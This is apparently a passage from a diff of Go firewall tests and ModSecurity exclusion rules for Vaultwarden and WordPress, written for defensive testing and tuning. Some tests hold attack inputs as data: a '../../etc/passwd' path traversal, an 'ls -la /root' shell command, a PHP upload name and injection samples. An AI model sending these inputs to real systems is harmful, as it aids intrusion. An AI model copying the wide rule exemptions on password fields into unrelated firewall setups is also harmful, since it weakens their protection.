vaultwardenPassword = "/api/accounts/password"
|
||||||
|
vaultwardenProfile = "/api/accounts/profile"
|
||||||
|
vaultwardenSettings = "/admin/config"
|
||||||
|
vaultwardenSecurityKey = "/api/two-factor/webauthn"
|
||||||
|
)
|
||||||
|
|
||||||
|
// vaultwardenEmail is a JSON body that sends an address in email.
|
||||||
|
const vaultwardenEmail = `{"email":"VALUE"}`
|
||||||
|
|
||||||
|
func TestVaultwardenFixesApplyOnlyToAHostnameThatServesVaultwarden(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{
|
||||||
|
giteaHost: {gitea}, otherHost: {"vaultwarden"},
|
||||||
|
})
|
||||||
|
|
||||||
|
// An address for the data breach report, which only Vaultwarden's fixes
|
||||||
|
// let through.
|
||||||
|
report := get(vaultwardenBreachReport + "python3%40example.com")
|
||||||
|
|
||||||
|
wantResult(t, crs, withHost(report, otherHost), coreruleset.Result{})
|
||||||
|
wantResult(t, crs, withHost(report, giteaHost), matched(932260))
|
||||||
|
}
|
||||||
|
|
||||||
|
// vaultwardenField is a field Vaultwarden receives in plain text: the
|
||||||
|
// request that sends it, and its body, with VALUE where the field's value
|
||||||
|
// goes.
|
||||||
|
type vaultwardenField struct {
|
||||||
|
method, target, contentType, body string
|
||||||
|
}
|
||||||
|
|
||||||
|
// with returns f's body holding value, escaped as f's kind of body escapes
|
||||||
|
// it.
|
||||||
|
func (f vaultwardenField) with(t *testing.T, value string) string {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
escaped := url.QueryEscape(value)
|
||||||
|
|
||||||
|
if f.contentType == jsonBody {
|
||||||
|
quoted, err := json.Marshal(value)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
escaped = strings.Trim(string(quoted), `"`)
|
||||||
|
}
|
||||||
|
|
||||||
|
return strings.ReplaceAll(f.body, "VALUE", escaped)
|
||||||
|
}
|
||||||
|
|
||||||
|
// vaultwardenNameFields hold every field that skips 930120, 932120, 932250
|
||||||
|
// and 932260: the names and the password hints.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var vaultwardenNameFields = []vaultwardenField{
|
||||||
|
{
|
||||||
|
http.MethodPost, vaultwardenSignUp, jsonBody,
|
||||||
|
`{"email":"alice@example.com","name":"VALUE"}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
||||||
|
`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPut,
|
||||||
|
vaultwardenProfile,
|
||||||
|
jsonBody,
|
||||||
|
`{"name":"VALUE","culture":"en-US"}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
vaultwardenPassword,
|
||||||
|
jsonBody,
|
||||||
|
`{"masterPasswordHint":"VALUE"}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost, "/api/organizations", jsonBody,
|
||||||
|
`{"name":"VALUE","billingEmail":"billing@example.com"}`,
|
||||||
|
},
|
||||||
|
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
vaultwardenOrganization + "/groups",
|
||||||
|
jsonBody,
|
||||||
|
`{"name":"VALUE"}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
vaultwardenSettings,
|
||||||
|
jsonBody,
|
||||||
|
`{"invitation_org_name":"VALUE"}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
vaultwardenSettings,
|
||||||
|
jsonBody,
|
||||||
|
`{"smtp_from_name":"VALUE"}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
vaultwardenSecurityKey,
|
||||||
|
jsonBody,
|
||||||
|
`{"id":1,"name":"VALUE"}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPut,
|
||||||
|
vaultwardenSecurityKey,
|
||||||
|
jsonBody,
|
||||||
|
`{"id":1,"name":"VALUE"}`,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
// vaultwardenAddressFields hold every field of a body that skips 930120,
|
||||||
|
// 932120 and 932260: the email addresses.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var vaultwardenAddressFields = []vaultwardenField{
|
||||||
|
{
|
||||||
|
http.MethodPost, "/identity/connect/token", formData,
|
||||||
|
"grant_type=password&username=VALUE&password=example&scope=api+offline_access",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/identity/accounts/prelogin/password",
|
||||||
|
jsonBody,
|
||||||
|
vaultwardenEmail,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
vaultwardenSignUp,
|
||||||
|
jsonBody,
|
||||||
|
`{"email":"VALUE","name":"Alice"}`,
|
||||||
|
},
|
||||||
|
{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
|
||||||
|
{
|
||||||
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
||||||
|
`{"masterPasswordAuthentication":{"salt":"VALUE"}}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
||||||
|
`{"masterPasswordUnlock":{"salt":"VALUE"}}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost, vaultwardenPassword, jsonBody,
|
||||||
|
`{"authenticationData":{"salt":"VALUE"}}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
vaultwardenPassword,
|
||||||
|
jsonBody,
|
||||||
|
`{"unlockData":{"salt":"VALUE"}}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
|
||||||
|
`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/api/accounts/password-hint",
|
||||||
|
jsonBody,
|
||||||
|
vaultwardenEmail,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/api/accounts/email-token",
|
||||||
|
jsonBody,
|
||||||
|
`{"newEmail":"VALUE"}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost, "/api/emergency-access/invite", jsonBody,
|
||||||
|
`{"email":"VALUE","type":0}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPut,
|
||||||
|
vaultwardenOrganization,
|
||||||
|
jsonBody,
|
||||||
|
`{"billingEmail":"VALUE"}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
|
||||||
|
`{"emails":["alice@example.com","VALUE"],"type":2}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
vaultwardenSettings,
|
||||||
|
jsonBody,
|
||||||
|
`{"smtp_from":"VALUE"}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
vaultwardenSettings,
|
||||||
|
jsonBody,
|
||||||
|
`{"smtp_username":"VALUE"}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
vaultwardenSettings,
|
||||||
|
jsonBody,
|
||||||
|
`{"org_creation_users":"VALUE"}`,
|
||||||
|
},
|
||||||
|
{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
|
||||||
|
{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/api/two-factor/send-email-login",
|
||||||
|
jsonBody,
|
||||||
|
vaultwardenEmail,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/api/two-factor/send-email",
|
||||||
|
jsonBody,
|
||||||
|
vaultwardenEmail,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPut, "/api/two-factor/email", jsonBody,
|
||||||
|
`{"email":"VALUE","token":"123456"}`,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/api/auth-requests",
|
||||||
|
jsonBody,
|
||||||
|
`{"email":"VALUE","type":0}`,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
// vaultwardenBreachReport is the data breach report, which sends an address
|
||||||
|
// in the query, ending in "=".
|
||||||
|
const vaultwardenBreachReport = "/api/hibp/breach?username="
|
||||||
|
|
||||||
|
// vaultwardenAddresses are the addresses 930120, 932120 and 932260 refused.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var vaultwardenAddresses = []string{
|
||||||
|
"jane.profile@example.com",
|
||||||
|
"python3.dev@example.com",
|
||||||
|
"powershell@example.com",
|
||||||
|
}
|
||||||
|
|
||||||
|
// wantVaultwardenField checks that the Core Rule Set, reading bodies,
|
||||||
|
// refuses f holding value, or lets it through.
|
||||||
|
func wantVaultwardenField(
|
||||||
|
t *testing.T, f vaultwardenField, value string, refused bool,
|
||||||
|
) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
r := request{f.method, f.target, []string{f.contentType}}
|
||||||
|
body := f.with(t, value)
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, readingBodies(t), r, body)
|
||||||
|
if refused && got.Score < vaultwardenThreshold {
|
||||||
|
t.Errorf("%s %s %s let through: %+v", f.method, f.target, body, got)
|
||||||
|
}
|
||||||
|
|
||||||
|
if !refused && got.Score >= vaultwardenThreshold {
|
||||||
|
t.Errorf("%s %s %s refused: %+v", f.method, f.target, body, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, encoded := range hardValues {
|
||||||
|
value, _ := url.QueryUnescape(encoded)
|
||||||
|
|
||||||
|
for _, f := range vaultwardenNameFields {
|
||||||
|
wantVaultwardenField(t, f, value, false)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, value := range vaultwardenAddresses {
|
||||||
|
for _, f := range vaultwardenAddressFields {
|
||||||
|
wantVaultwardenField(t, f, value, false)
|
||||||
|
}
|
||||||
|
|
||||||
|
target := vaultwardenBreachReport + url.QueryEscape(value)
|
||||||
|
if got := inspect(t, atDefaults(t), get(target)); got.Score >= vaultwardenThreshold {
|
||||||
|
t.Errorf("%s refused: %+v", target, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// vaultwardenAttacks are an SQL injection, a script injection, a shell
|
||||||
|
// command and a path traversal.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var vaultwardenAttacks = []string{
|
||||||
|
injection,
|
||||||
|
scriptTag,
|
||||||
|
shellCommand,
|
||||||
|
"../../etc/passwd",
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestVaultwardenAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, attack := range vaultwardenAttacks {
|
||||||
|
for _, f := range slices.Concat(vaultwardenNameFields, vaultwardenAddressFields) {
|
||||||
|
wantVaultwardenField(t, f, attack, true)
|
||||||
|
}
|
||||||
|
|
||||||
|
target := vaultwardenBreachReport + url.QueryEscape(attack)
|
||||||
|
if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold {
|
||||||
|
t.Errorf("%s let through: %+v", target, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// An address keeps 932250, which refuses a listing of files.
|
||||||
|
for _, f := range vaultwardenAddressFields {
|
||||||
|
wantVaultwardenField(t, f, "ls -la /root", true)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestVaultwardenExclusionsAreNarrow(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := readingBodies(t)
|
||||||
|
|
||||||
|
// A name keeps the rules on vault items and folders, whose names are
|
||||||
|
// encrypted, on two-factor paths other than security keys', off
|
||||||
|
// Vaultwarden's paths, and when the query has a field of the same name.
|
||||||
|
for _, target := range []string{
|
||||||
|
"/api/ciphers",
|
||||||
|
"/api/folders",
|
||||||
|
"/x" + vaultwardenProfile,
|
||||||
|
"/identity/other",
|
||||||
|
"/api/two-factor/authenticator",
|
||||||
|
vaultwardenProfile + "?json.name=python3",
|
||||||
|
} {
|
||||||
|
r := request{http.MethodPost, target, []string{jsonBody}}
|
||||||
|
body := `{"name":"python3"}`
|
||||||
|
|
||||||
|
if got, _ := inspectBody(t, crs, r, body); got.Score < vaultwardenThreshold {
|
||||||
|
t.Errorf("POST %s %s let through: %+v", target, body, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, refused := range []struct{ target, body string }{
|
||||||
|
{"/admin/other", `{"invitation_org_name":"python3"}`},
|
||||||
|
{vaultwardenProfile, `{"culture":"python3"}`},
|
||||||
|
{"/api/accounts/password-hint?json.email=python3", `{"email":"python3"}`},
|
||||||
|
} {
|
||||||
|
r := request{http.MethodPost, refused.target, []string{jsonBody}}
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, refused.body)
|
||||||
|
if got.Score < vaultwardenThreshold {
|
||||||
|
t.Errorf(
|
||||||
|
"POST %s %s let through: %+v",
|
||||||
|
refused.target,
|
||||||
|
refused.body,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
r := request{http.MethodPost, "/identity/other", []string{formData}}
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, "username=python3")
|
||||||
|
if got.Score < vaultwardenThreshold {
|
||||||
|
t.Errorf("POST %s username=python3 let through: %+v", r.target, got)
|
||||||
|
}
|
||||||
|
|
||||||
|
target := "/api/hibp/other?username=python3"
|
||||||
|
if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold {
|
||||||
|
t.Errorf("%s let through: %+v", target, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// vaultwardenUpload returns a multipart body that uploads a file named name.
|
||||||
|
func vaultwardenUpload(name string) string {
|
||||||
|
return "--b\r\nContent-Disposition: form-data; name=\"data\"; filename=\"" + name +
|
||||||
|
"\"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n" + end
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestVaultwardenAdminTokenPasses(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
wantPasswordFieldsPass(t, []passwordFields{
|
||||||
|
{"/admin", formData, []string{"token"}},
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// masterPasswordHashes returns count random 32-byte hashes in base64, the
|
||||||
|
// form in which the apps send a master password.
|
||||||
|
func masterPasswordHashes(count int) []string {
|
||||||
|
const size, seed = 32, 288
|
||||||
|
|
||||||
|
//nolint:gosec // a fixed sample
|
||||||
|
random := rand.New(rand.NewPCG(seed, seed))
|
||||||
|
|
||||||
|
hashes := make([]string, count)
|
||||||
|
|
||||||
|
for i := range hashes {
|
||||||
|
hash := make([]byte, size)
|
||||||
|
for j := range hash {
|
||||||
|
hash[j] = byte(random.IntN(1 << 8)) //nolint:gosec // below 256
|
||||||
|
}
|
||||||
|
|
||||||
|
hashes[i] = base64.StdEncoding.EncodeToString(hash)
|
||||||
|
}
|
||||||
|
|
||||||
|
return hashes
|
||||||
|
}
|
||||||
|
|
||||||
|
// The apps hash the master password before they send it, so these fields
|
||||||
|
// hold only base64 and set off no rule, with no exclusion.
|
||||||
|
func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
const perBody = 20
|
||||||
|
|
||||||
|
crs := readingBodies(t)
|
||||||
|
hashes := masterPasswordHashes(perBody)
|
||||||
|
|
||||||
|
for _, sent := range []struct {
|
||||||
|
r request
|
||||||
|
names []string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
request{http.MethodPost, "/identity/connect/token", []string{formData}},
|
||||||
|
[]string{passwordKey},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
request{http.MethodPost, vaultwardenPassword, []string{jsonBody}},
|
||||||
|
[]string{"masterPasswordHash", "newMasterPasswordHash"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
request{http.MethodPost, "/api/accounts/delete", []string{jsonBody}},
|
||||||
|
[]string{"masterPasswordHash"},
|
||||||
|
},
|
||||||
|
} {
|
||||||
|
body := passwordBody(t, sent.r, sent.names, hashes...)
|
||||||
|
if len(body) > bodyLimit {
|
||||||
|
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||||
|
}
|
||||||
|
|
||||||
|
if got, _ := inspectBody(t, crs, sent.r, body); len(
|
||||||
|
got.RuleIDs,
|
||||||
|
) != 0 {
|
||||||
|
t.Errorf(
|
||||||
|
"POST %s %v set off rules: %+v",
|
||||||
|
sent.r.target,
|
||||||
|
sent.names,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := readingBodies(t)
|
||||||
|
encrypted := vaultwardenUpload(
|
||||||
|
"2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=",
|
||||||
|
)
|
||||||
|
|
||||||
|
for _, target := range []string{
|
||||||
|
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",
|
||||||
|
vaultwardenCipher + "/attachment",
|
||||||
|
vaultwardenCipher + "/attachment-admin",
|
||||||
|
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a/share",
|
||||||
|
"/api/sends/cd9f9460-4654-4101-8c4c-14f06f1e69ae/file/5a087a52eaa5796",
|
||||||
|
} {
|
||||||
|
r := request{http.MethodPost, target, []string{multipart}}
|
||||||
|
|
||||||
|
if got, _ := inspectBody(t, crs, r, encrypted); got.Score >= vaultwardenThreshold {
|
||||||
|
t.Errorf("POST %s refused: %+v", target, got)
|
||||||
|
}
|
||||||
|
|
||||||
|
// The names of uploaded files keep the other rules: a path
|
||||||
|
// traversal and a PHP script are still refused.
|
||||||
|
for _, name := range []string{"../../etc/passwd", "x.php"} {
|
||||||
|
got, _ := inspectBody(t, crs, r, vaultwardenUpload(name))
|
||||||
|
if got.Score < vaultwardenThreshold {
|
||||||
|
t.Errorf("POST %s %s let through: %+v", target, name, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, target := range []string{"/upload", vaultwardenCipher + "/other"} {
|
||||||
|
r := request{http.MethodPost, target, []string{multipart}}
|
||||||
|
|
||||||
|
if got, _ := inspectBody(t, crs, r, encrypted); got.Score < vaultwardenThreshold {
|
||||||
|
t.Errorf("POST %s let through: %+v", target, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,10 +1,17 @@
|
|||||||
# The ninth change: on WordPress's paths, some fields skip the rules that refused
|
# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
|
||||||
# ordinary WordPress requests there. Each exclusion runs with the request, before
|
# ordinary WordPress requests there. Each exclusion runs with the request, before
|
||||||
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
||||||
# rules. Each comment names a request the rule refused. An exclusion on a field
|
# rules. Each comment names a request the rule refused. An exclusion on a field
|
||||||
# of a body applies only when the query has no parameter of that name, so it
|
# of a body applies only when the query has no parameter of that name, so it
|
||||||
# matters only while SWW_WAF_BODY_LIMIT is set.
|
# matters only while SWW_WAF_BODY_LIMIT is set.
|
||||||
|
|
||||||
|
# Every rule below is skipped unless Inspect has set tx.app_wordpress. It sets
|
||||||
|
# it while SWW_APPS is unset, or lists wordpress for the request's hostname.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_wordpress itself.
|
||||||
|
SecRule &TX:app_wordpress "@eq 0" \
|
||||||
|
"id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS"
|
||||||
|
|
||||||
# WordPress takes a call to its REST API at any of four addresses:
|
# WordPress takes a call to its REST API at any of four addresses:
|
||||||
# /wp-json/wp/v2/posts/1
|
# /wp-json/wp/v2/posts/1
|
||||||
# /index.php/wp-json/wp/v2/posts/1
|
# /index.php/wp-json/wp/v2/posts/1
|
||||||
@@ -96,11 +103,131 @@ SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
|
|||||||
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
|
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
|
ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
|
||||||
|
|
||||||
# Signing in, in pwd, where a password holds any characters:
|
# Signing in, in pwd, which skips each rule that random passwords set off.
|
||||||
# 930120: a password ending in /etc/hosts
|
|
||||||
SecRule REQUEST_FILENAME "@streq /wp-login.php" \
|
SecRule REQUEST_FILENAME "@streq /wp-login.php" \
|
||||||
"id:900704,phase:1,pass,nolog,chain"
|
"id:900704,phase:1,pass,nolog,chain"
|
||||||
SecRule &ARGS_GET:pwd "@eq 0" "ctl:ruleRemoveTargetById=930120;ARGS:pwd"
|
SecRule &ARGS_GET:pwd "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:pwd,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:pwd"
|
||||||
|
|
||||||
|
# The other passwords, which skip the same rules:
|
||||||
|
# pass1, pass2: resetting the password at /wp-login.php, changing it on the
|
||||||
|
# profile page and the page that edits a user, and adding a user; a
|
||||||
|
# multisite install also changes it on network/user-edit.php,
|
||||||
|
# network/profile.php and user/profile.php
|
||||||
|
# post_password: the password of a protected post, sent to /wp-login.php
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:wp-login\.php|wp-admin/(?:profile|user-edit|user-new|network/user-edit|network/profile|user/profile)\.php)$" \
|
||||||
|
"id:900715,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:pass[12]|post_password)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:pass[12]|post_password)$/"
|
||||||
|
|
||||||
|
# Creating or editing a user through the REST API, in password, in form data or
|
||||||
|
# JSON, which skips the same rules.
|
||||||
|
SecRule TX:rest_route "@rx ^/wp/v2/users(?:/(?:me|[0-9]+))?$" \
|
||||||
|
"id:900716,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
